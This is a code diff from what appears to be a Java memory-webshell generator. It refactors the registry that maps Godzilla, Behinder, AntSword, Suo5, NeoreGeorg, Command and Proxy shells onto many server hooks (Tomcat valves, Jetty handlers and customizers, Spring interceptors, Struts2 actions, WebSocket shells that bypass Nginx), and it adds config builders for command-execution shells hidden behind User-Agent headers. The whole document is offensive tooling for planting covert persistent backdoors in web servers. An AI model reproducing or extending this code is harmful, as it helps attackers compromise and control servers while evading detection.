.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
@@ -69,10 +74,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
|
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -97,6 +106,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
|
.addShellClass(ACTION, BehinderStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -114,6 +124,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
|
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -129,6 +140,9 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||||
|
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
@@ -140,10 +154,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
||||||
|
.addShellClass(HANDLER, CommandJettyHandler.class)
|
||||||
|
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
||||||
|
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
|
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -169,6 +187,33 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
|
.addShellClass(ACTION, Suo5Struct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||||
|
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
||||||
|
.addShellClass(FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
||||||
|
.addShellClass(LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
||||||
|
.addShellClass(VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
||||||
|
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||||
|
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
||||||
|
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -193,6 +238,14 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
|
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||||
|
.build());
|
||||||
|
|
||||||
|
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||||
|
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
|
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -219,7 +272,7 @@ public class ServerFactory {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
|
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
|
||||||
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
for (String supportedServer : supportedServers) {
|
for (String supportedServer : supportedServers) {
|
||||||
@@ -235,7 +288,10 @@ public class ServerFactory {
|
|||||||
}
|
}
|
||||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
}
|
}
|
||||||
server.addToolMapping(shellTool, toolMappingBuilder.build());
|
ToolMapping mapping = toolMappingBuilder.build();
|
||||||
|
if (mapping.isNotEmpty()) {
|
||||||
|
server.addToolMapping(shellTool, mapping);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,41 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.ShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
|
||||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
|
||||||
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/22
|
* @since 2025/8/22
|
||||||
*/
|
*/
|
||||||
public enum ShellTool {
|
public class ShellTool {
|
||||||
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
|
public static final String Godzilla = "Godzilla";
|
||||||
Command(CommandGenerator.class, CommandConfig.class),
|
public static final String Behinder = "Behinder";
|
||||||
Behinder(BehinderGenerator.class, BehinderConfig.class),
|
public static final String Command = "Command";
|
||||||
Suo5(Suo5Generator.class, Suo5Config.class),
|
public static final String Suo5 = "Suo5";
|
||||||
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
|
public static final String Suo5v2 = "Suo5v2";
|
||||||
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
|
public static final String AntSword = "AntSword";
|
||||||
Custom(CustomShellGenerator.class, CustomConfig.class);
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
|
public static final String Proxy = "Proxy";
|
||||||
private final Class<? extends ShellGenerator> generatorClass;
|
public static final String Custom = "Custom";
|
||||||
private final Class<? extends ShellToolConfig> configClass;
|
|
||||||
|
|
||||||
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
|
||||||
this.generatorClass = generatorClass;
|
|
||||||
this.configClass = configClass;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
try {
|
|
||||||
Constructor<? extends ShellGenerator> constructor =
|
|
||||||
generatorClass.getConstructor(ShellConfig.class, configClass);
|
|
||||||
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
|
|
||||||
return generator.getBytes();
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,52 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.ShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/08/22
|
||||||
|
*/
|
||||||
|
public class ShellToolFactory {
|
||||||
|
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
|
||||||
|
|
||||||
|
static {
|
||||||
|
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
|
||||||
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
|
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
||||||
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
if (shellToolName == null || shellToolName.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
|
||||||
|
}
|
||||||
|
instances.put(shellToolName, Pair.of(generatorClass, configClass));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
try {
|
||||||
|
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
|
||||||
|
Constructor<? extends ShellGenerator> constructor =
|
||||||
|
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
|
||||||
|
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
|
||||||
|
return generator.getBytes();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new GenerationException("shell generate failed " + e.getMessage(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -15,17 +15,22 @@ public class ShellType {
|
|||||||
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
public static final String VALVE = "Valve";
|
||||||
|
public static final String UPGRADE = "Upgrade";
|
||||||
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
|
||||||
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
public static final String PROXY_VALVE = "Proxy" + VALVE;
|
||||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||||
|
|
||||||
|
public static final String HANDLER = "Handler";
|
||||||
|
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
||||||
|
public static final String CUSTOMIZER = "Customizer";
|
||||||
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
@@ -40,5 +45,9 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
|
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
|
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||||
|
|
||||||
|
public static final String ACTION = "Action";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
@@ -20,4 +21,31 @@ public class AntSwordConfig extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B pass(final String pass) {
|
||||||
|
if (StringUtils.isNotBlank(pass)) {
|
||||||
|
this.pass$value = pass;
|
||||||
|
pass$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@ToString
|
@ToString
|
||||||
@@ -20,4 +21,31 @@ public class BehinderConfig extends ShellToolConfig {
|
|||||||
private String headerName = "User-Agent";
|
private String headerName = "User-Agent";
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B pass(final String pass) {
|
||||||
|
if (StringUtils.isNotBlank(pass)) {
|
||||||
|
this.pass$value = pass;
|
||||||
|
pass$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import lombok.Builder;
|
|||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -14,15 +15,69 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@SuperBuilder
|
@SuperBuilder
|
||||||
@ToString
|
@ToString
|
||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 接收参数的请求头或请求参数名称
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 加密器
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private Encryptor encryptor = Encryptor.RAW;
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 实现类
|
||||||
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 命令执行模板,使用 {command} 作为占位符
|
||||||
|
*/
|
||||||
|
private String template;
|
||||||
|
|
||||||
|
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
public B paramName(String paramName) {
|
||||||
|
if (StringUtils.isNotBlank(paramName)) {
|
||||||
|
paramName$value = paramName;
|
||||||
|
paramName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
public enum ImplementationClass {
|
public enum ImplementationClass {
|
||||||
RuntimeExec, ForkAndExec;
|
RuntimeExec, ForkAndExec;
|
||||||
|
|||||||
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
@SuperBuilder
|
@SuperBuilder(toBuilder = true)
|
